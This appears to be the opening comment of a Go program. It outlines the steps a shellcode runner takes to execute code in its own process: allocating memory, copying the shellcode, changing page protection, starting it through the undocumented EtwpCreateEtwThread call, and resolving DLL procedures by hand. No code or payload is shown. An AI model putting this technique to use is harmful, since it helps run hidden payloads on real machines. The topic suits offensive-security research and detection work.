/*
This program executes shellcode in the current process using the following steps
	1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
	2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
	3. Change the memory page permissions to Execute/Read with VirtualProtect
	4. Call EtwpCreateEtwThread on shellcode address
	5. Call WaitForSingleObject so the program does not end before the shellcode is executed

This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
